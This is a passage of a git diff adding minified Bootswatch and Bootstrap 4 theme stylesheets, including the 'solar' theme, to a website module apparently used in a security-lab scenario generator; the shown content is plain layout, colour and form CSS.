!important}.p-lg-0{padding:0 !important}.pt-lg-0,.py-lg-0{padding-top:0 !important}.pr-lg-0,.px-lg-0{padding-right:0 !important}.pb-lg-0,.py-lg-0{padding-bottom:0 !important}.pl-lg-0,.px-lg-0{padding-left:0 !important}.p-lg-1{padding:0.25rem !important}.pt-lg-1,.py-lg-1{padding-top:0.25rem !important}.pr-lg-1,.px-lg-1{padding-right:0.25rem !important}.pb-lg-1,.py-lg-1{padding-bottom:0.25rem !important}.pl-lg-1,.px-lg-1{padding-left:0.25rem !important}.p-lg-2{padding:0.5rem !important}.pt-lg-2,.py-lg-2{padding-top:0.5rem !important}.pr-lg-2,.px-lg-2{padding-right:0.5rem !important}.pb-lg-2,.py-lg-2{padding-bottom:0.5rem !important}.pl-lg-2,.px-lg-2{padding-left:0.5rem !important}.p-lg-3{padding:1rem !important}.pt-lg-3,.py-lg-3{padding-top:1rem !important}.pr-lg-3,.px-lg-3{padding-right:1rem !important}.pb-lg-3,.py-lg-3{padding-bottom:1rem !important}.pl-lg-3,.px-lg-3{padding-left:1rem !important}.p-lg-4{padding:1.5rem !important}.pt-lg-4,.py-lg-4{padding-top:1.5rem !important}.pr-lg-4,.px-lg-4{padding-right:1.5rem !important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem !important}.pl-lg-4,.px-lg-4{padding-left:1.5rem !important}.p-lg-5{padding:3rem !important}.pt-lg-5,.py-lg-5{padding-top:3rem !important}.pr-lg-5,.px-lg-5{padding-right:3rem !important}.pb-lg-5,.py-lg-5{padding-bottom:3rem !important}.pl-lg-5,.px-lg-5{padding-left:3rem !important}.m-lg-auto{margin:auto !important}.mt-lg-auto,.my-lg-auto{margin-top:auto !important}.mr-lg-auto,.mx-lg-auto{margin-right:auto !important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto !important}.ml-lg-auto,.mx-lg-auto{margin-left:auto !important}}@media (min-width: 1200px){.m-xl-0{margin:0 !important}.mt-xl-0,.my-xl-0{margin-top:0 !important}.mr-xl-0,.mx-xl-0{margin-right:0 !important}.mb-xl-0,.my-xl-0{margin-bottom:0 !important}.ml-xl-0,.mx-xl-0{margin-left:0 !important}.m-xl-1{margin:0.25rem !important}.mt-xl-1,.my-xl-1{margin-top:0.25rem !important}.mr-xl-1,.mx-xl-1{margin-right:0.25rem !important}.mb-xl-1,.my-xl-1{margin-bottom:0.25rem !important}.ml-xl-1,.mx-xl-1{margin-left:0.25rem !important}.m-xl-2{margin:0.5rem !important}.mt-xl-2,.my-xl-2{margin-top:0.5rem !important}.mr-xl-2,.mx-xl-2{margin-right:0.5rem !important}.mb-xl-2,.my-xl-2{margin-bottom:0.5rem !important}.ml-xl-2,.mx-xl-2{margin-left:0.5rem !important}.m-xl-3{margin:1rem !important}.mt-xl-3,.my-xl-3{margin-top:1rem !important}.mr-xl-3,.mx-xl-3{margin-right:1rem !important}.mb-xl-3,.my-xl-3{margin-bottom:1rem !important}.ml-xl-3,.mx-xl-3{margin-left:1rem !important}.m-xl-4{margin:1.5rem !important}.mt-xl-4,.my-xl-4{margin-top:1.5rem !important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem !important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem !important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem !important}.m-xl-5{margin:3rem !important}.mt-xl-5,.my-xl-5{margin-top:3rem !important}.mr-xl-5,.mx-xl-5{margin-right:3rem !important}.mb-xl-5,.my-xl-5{margin-bottom:3rem !important}.ml-xl-5,.mx-xl-5{margin-left:3rem !important}.p-xl-0{padding:0 !important}.pt-xl-0,.py-xl-0{padding-top:0 !important}.pr-xl-0,.px-xl-0{padding-right:0 !important}.pb-xl-0,.py-xl-0{padding-bottom:0 !important}.pl-xl-0,.px-xl-0{padding-left:0 !important}.p-xl-1{padding:0.25rem !important}.pt-xl-1,.py-xl-1{padding-top:0.25rem !important}.pr-xl-1,.px-xl-1{padding-right:0.25rem !important}.pb-xl-1,.py-xl-1{padding-bottom:0.25rem !important}.pl-xl-1,.px-xl-1{padding-left:0.25rem !important}.p-xl-2{padding:0.5rem !important}.pt-xl-2,.py-xl-2{padding-top:0.5rem !important}.pr-xl-2,.px-xl-2{padding-right:0.5rem !important}.pb-xl-2,.py-xl-2{padding-bottom:0.5rem !important}.pl-xl-2,.px-xl-2{padding-left:0.5rem !important}.p-xl-3{padding:1rem !important}.pt-xl-3,.py-xl-3{padding-top:1rem !important}.pr-xl-3,.px-xl-3{padding-right:1rem !important}.pb-xl-3,.py-xl-3{padding-bottom:1rem !important}.pl-xl-3,.px-xl-3{padding-left:1rem !important}.p-xl-4{padding:1.5rem !important}.pt-xl-4,.py-xl-4{padding-top:1.5rem !important}.pr-xl-4,.px-xl-4{padding-right:1.5rem !important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem !important}.pl-xl-4,.px-xl-4{padding-left:1.5rem !important}.p-xl-5{padding:3rem !important}.pt-xl-5,.py-xl-5{padding-top:3rem !important}.pr-xl-5,.px-xl-5{padding-right:3rem !important}.pb-xl-5,.py-xl-5{padding-bottom:3rem !important}.pl-xl-5,.px-xl-5{padding-left:3rem !important}.m-xl-auto{margin:auto !important}.mt-xl-auto,.my-xl-auto{margin-top:auto !important}.mr-xl-auto,.mx-xl-auto{margin-right:auto !important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto !important}.ml-xl-auto,.mx-xl-auto{margin-left:auto !important}}.text-justify{text-align:justify !important}.text-nowrap{white-space:nowrap !important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left !important}.text-right{text-align:right !important}.text-center{text-align:center !important}@media (min-width: 576px){.text-sm-left{text-align:left !important}.text-sm-right{text-align:right !important}.text-sm-center{text-align:center !important}}@media (min-width: 768px){.text-md-left{text-align:left !important}.text-md-right{text-align:right !important}.text-md-center{text-align:center !important}}@media (min-width: 992px){.text-lg-left{text-align:left !important}.text-lg-right{text-align:right !important}.text-lg-center{text-align:center !important}}@media (min-width: 1200px){.text-xl-left{text-align:left !important}.text-xl-right{text-align:right !important}.text-xl-center{text-align:center !important}}.text-lowercase{text-transform:lowercase !important}.text-uppercase{text-transform:uppercase !important}.text-capitalize{text-transform:capitalize !important}.font-weight-light{font-weight:300 !important}.font-weight-normal{font-weight:400 !important}.font-weight-bold{font-weight:700 !important}.font-italic{font-style:italic !important}.text-white{color:#fff !important}.text-primary{color:#333 !important}a.text-primary:hover,a.text-primary:focus{color:#1a1919 !important}.text-secondary{color:#555 !important}a.text-secondary:hover,a.text-secondary:focus{color:#3c3b3b !important}.text-success{color:#28a745 !important}a.text-success:hover,a.text-success:focus{color:#1e7e34 !important}.text-info{color:#17a2b8 !important}a.text-info:hover,a.text-info:focus{color:#117a8b !important}.text-warning{color:#ffc107 !important}a.text-warning:hover,a.text-warning:focus{color:#d39e00 !important}.text-danger{color:#dc3545 !important}a.text-danger:hover,a.text-danger:focus{color:#bd2130 !important}.text-light{color:#fff !important}a.text-light:hover,a.text-light:focus{color:#e6e5e5 !important}.text-dark{color:#555 !important}a.text-dark:hover,a.text-dark:focus{color:#3c3b3b !important}.text-muted{color:#868e96 !important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.visible{visibility:visible !important}.invisible{visibility:hidden !important}@media print{*,*::before,*::after{text-shadow:none !important;-webkit-box-shadow:none !important;box-shadow:none !important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap !important}pre,blockquote{border:2px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px !important}.container{min-width:992px !important}.navbar{display:none}.badge{border:2px solid #000}.table{border-collapse:collapse !important}.table td,.table th{background-color:#fff !important}.table-bordered th,.table-bordered td{border:1px solid #ddd !important}}.navbar{border-width:2px;border-style:solid;border-radius:25px 25px 55px 5px/5px 55px 25px 25px}.navbar.bg-light{border-color:#333}.navbar.fixed-top{border-radius:0 25px 225px 0/25px 0 25px 255px;border-width:0 0 2px 0}.navbar.fixed-bottom{border-radius:255px 25px 0 25px/25px 225px 25px 0;border-width:2px 0 0 0}.navbar-brand{font-family:"Cabin Sketch", cursive;font-weight:normal;text-decoration:none}.btn{border-radius:255px 25px 225px 25px/25px 225px 25px 255px;text-decoration:none}.btn-warning{color:#fff}button,input,optgroup,select,textarea{font-family:"Neucha", -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif}blockquote{border-radius:15px 27px 25px 25px/25px 25px 305px 635px}table th,table td{background-color:#fff}.table-bordered{background-color:#333;border-collapse:separate;border-spacing:0;border-radius:5px 25px 5px 25px/25px 5px 25px 5px;overflow:hidden}.table-bordered th,.table-bordered td{border-radius:5px 5px 25px 4px/5px 4px 3px 5px}.table-bordered .table-success td,.table-bordered .table-success th,.table-bordered .table-success:hover td,.table-bordered .table-success:hover th{background-color:#28a745;color:#fff}.table-bordered .table-info td,.table-bordered .table-info th,.table-bordered .table-info:hover td,.table-bordered .table-info:hover th{background-color:#17a2b8;color:#fff}.table-bordered .table-warning td,.table-bordered .table-warning th,.table-bordered .table-warning:hover td,.table-bordered .table-warning:hover th{background-color:#ffc107;color:#fff}.table-bordered .table-danger td,.table-bordered .table-danger th,.table-bordered .table-danger:hover td,.table-bordered .table-danger:hover th{background-color:#dc3545;color:#fff}.table-dark th,.table-dark td,.table-dark.table-hover .table-active:hover>th,.table-dark.table-hover .table-active:hover>td{background-color:#333}input,.form-control{border-radius:255px 25px 225px 25px/25px 225px 25px 255px}textarea,textarea.form-control,select,select.form-control{border-radius:555px 25px 15px 25px/25px 5px 35px 555px !important}[type="checkbox"]{position:relative;-webkit-appearance:none;-moz-appearance:none;appearance:none;cursor:pointer}[type="checkbox"]:before{content:"";position:absolute;left:-1.2em;top:-0.9em;display:inline-block;width:15px;height:16px;border:2px solid #333;border-radius:2px 8px 2px 4px / 5px 3px 5px 3px}[type="checkbox"]:checked:after{content:"x";position:absolute;left:-0.64em;top:-0.48em;font-size:1.5rem;line-height:0.5;color:#333}[type="checkbox"]:disabled:before{border:2px solid #aaa}[type="radio"]{position:relative;-webkit-appearance:none;-moz-appearance:none;appearance:none;cursor:pointer}[type="radio"]:before{content:"";position:absolute;left:-1.2em;top:-0.9em;display:inline-block;width:16px;height:16px;border:2px solid #333;border-radius:50% 45% 40% 50% / 40% 50% 50% 45%}[type="radio"]:checked:before{background-color:#333}[type="radio"]:disabled:before{border:2px solid #aaa}.form-check-label{padding-left:2.5rem}.dropdown-menu{border-radius:555px 25px 25px 25px/25px 25px 25px 555px;overflow:hidden}.dropdown-divider{border-top-width:2px}.list-group{background-color:#333;border:2px solid #333;border-radius:45px 15px 35px 5px/15px 5px 15px 65px;overflow:hidden}.list-group-item{border-left:none;border-right:none;border-top:2px solid #333;border-radius:255px 5px 225px 5px/25px 225px 25px 255px}.list-group-item:first-child{border-top:none}.list-group-item:last-child{border-bottom:none}.nav-link,.page-link,.list-group-item,.dropdown-item{text-decoration:none}.nav-tabs .nav-link{border-radius:45px 15px 225px 5px/25px 225px 25px 255px}.breadcrumb{border:2px solid #333}.pagination .page-link{border-radius:425px 255px 25px 25px/25px 25px 5px 25px}.progress{border:2px solid #333}.badge-pill{border-radius:7rem 8rem 8rem 8rem / 4rem 5rem 6rem 6rem}.badge-warning{color:#fff}.alert-dismissible .close{color:transparent}.alert-dismissible .close:before{right:1rem;top:0.8rem}.alert-dismissible.alert-success{border-color:#28a745}.alert-dismissible.alert-success,.alert-dismissible.alert-success .alert-link,.alert-dismissible.alert-success .close:before{color:#28a745}.alert-dismissible.alert-info{border-color:#17a2b8}.alert-dismissible.alert-info,.alert-dismissible.alert-info .alert-link,.alert-dismissible.alert-info .close:before{color:#17a2b8}.alert-dismissible.alert-warning{border-color:#ffc107}.alert-dismissible.alert-warning,.alert-dismissible.alert-warning .alert-link,.alert-dismissible.alert-warning .close:before{color:#ffc107}.alert-dismissible.alert-danger{border-color:#dc3545}.alert-dismissible.alert-danger,.alert-dismissible.alert-danger .alert-link,.alert-dismissible.alert-danger .close:before{color:#dc3545}.card{border-radius:5px 5px 5px 5px/25px 25px 25px 5px}.card-outline-primary,.card-outline-success,.card-outline-info,.card-outline-warning,.card-outline-danger{border-width:2px}.card-header{border-bottom-width:2px;border-color:inherit}.card-footer{border-top-width:2px}.jumbotron{border:2px solid #333}.modal-content{border-radius:15px 5px 5px 25px/5px 25px 25px 5px}.popover{padding:0;border-radius:45px 85px 15px 25px/15px 10px 35px 555px}.popover-title{border-bottom:2px solid #333}.popover.popover-left::before,.popover.bs-tether-element-attached-right::before{right:-13px}.popover.popover-top::before,.popover.bs-tether-element-attached-bottom::before{bottom:-13px}.popover.popover-bottom::before,.popover.bs-tether-element-attached-top::before{top:-13px}.popover.popover-right::before,.popover.bs-tether-element-attached-left::before{left:-13px}pre{border:2px solid #333;border-radius:15px 5px 5px 25px/5px 25px 25px 5px}.close,.close:hover,.close:focus,.close:active{opacity:1}.close:before,.close:hover:before,.close:focus:before,.close:active:before{position:absolute;content:"X";color:#333} diff --git a/modules/services/unix/http/parameterised_website/files/themes/solar.min.css b/modules/services/unix/http/parameterised_website/files/themes/solar.min.css new file mode 100644 index 000000000..937e9abd6 --- /dev/null +++ b/modules/services/unix/http/parameterised_website/files/themes/solar.min.css @@ -0,0 +1,12 @@ +/*! + * Bootswatch v4.0.0 + * Homepage: https://bootswatch.com + * Copyright 2012-2018 Thomas Park + * Licensed under MIT + * Based on Bootstrap +*//*! + * Bootstrap v4.0.0 (https://getbootstrap.com) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */@import url("https://fonts.googleapis.com/css?family=Source+Sans+Pro");:root{--blue:#B58900;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#D33682;--orange:#fd7e14;--yellow:#CB4B16;--green:#2AA198;--teal:#20c997;--cyan:#268BD2;--white:#fff;--gray:#839496;--gray-dark:#073642;--primary:#B58900;--secondary:#839496;--success:#2AA198;--info:#268BD2;--warning:#CB4B16;--danger:#D33682;--light:#FDF6E3;--dark:#073642;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:"Source Sans Pro", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";--font-family-monospace:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}*,*::before,*::after{-webkit-box-sizing:border-box;box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:"Source Sans Pro", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#839496;text-align:left;background-color:#002B36}[tabindex="-1"]:focus{outline:0 !important}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0.5rem}p{margin-top:0;margin-bottom:1rem}abbr[title],abbr[data-original-title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul,dl{margin-top:0;margin-bottom:1rem}ol ol,ul ul,ol ul,ul ol{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#2AA198;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#2AA198;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):hover,a:not([href]):not([tabindex]):focus{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}pre,code,kbd,samp{font-family:monospace, monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:0.75rem;padding-bottom:0.75rem;color:#839496;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}input,button,select,optgroup,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}button,html [type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{padding:0;border-style:none}input[type="radio"],input[type="checkbox"]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}input[type="date"],input[type="time"],input[type="datetime-local"],input[type="month"]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{outline-offset:-2px;-webkit-appearance:none}[type="search"]::-webkit-search-cancel-button,[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none !important}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{margin-bottom:0.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}h1,.h1{font-size:2.5rem}h2,.h2{font-size:2rem}h3,.h3{font-size:1.75rem}h4,.h4{font-size:1.5rem}h5,.h5{font-size:1.25rem}h6,.h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,0.1)}small,.small{font-size:80%;font-weight:400}mark,.mark{padding:0.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:0.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#839496}.blockquote-footer::before{content:"\2014 \00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:0.25rem;background-color:#002B36;border:1px solid #dee2e6;border-radius:0.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:0.5rem;line-height:1}.figure-caption{font-size:90%;color:#839496}code,kbd,pre,samp{font-family:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:0.2rem 0.4rem;font-size:87.5%;color:#fff;background-color:#002B36;border-radius:0.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#002B36}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width: 576px){.container{max-width:540px}}@media (min-width: 768px){.container{max-width:720px}}@media (min-width: 992px){.container{max-width:960px}}@media (min-width: 1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*="col-"]{padding-right:0;padding-left:0}.col-1,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-10,.col-11,.col-12,.col,.col-auto,.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm,.col-sm-auto,.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12,.col-md,.col-md-auto,.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg,.col-lg-auto,.col-xl-1,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl,.col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-1{margin-left:8.3333333333%}.offset-2{margin-left:16.6666666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.3333333333%}.offset-5{margin-left:41.6666666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.3333333333%}.offset-8{margin-left:66.6666666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.3333333333%}.offset-11{margin-left:91.6666666667%}@media (min-width: 576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-sm-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-sm-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-sm-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-sm-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-sm-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-sm-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-sm-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-sm-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-sm-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-sm-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-sm-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-sm-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-sm-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-sm-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-sm-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-sm-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-sm-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-sm-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-sm-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-sm-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.3333333333%}.offset-sm-2{margin-left:16.6666666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.3333333333%}.offset-sm-5{margin-left:41.6666666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.3333333333%}.offset-sm-8{margin-left:66.6666666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.3333333333%}.offset-sm-11{margin-left:91.6666666667%}}@media (min-width: 768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-md-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-md-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-md-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-md-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-md-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-md-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 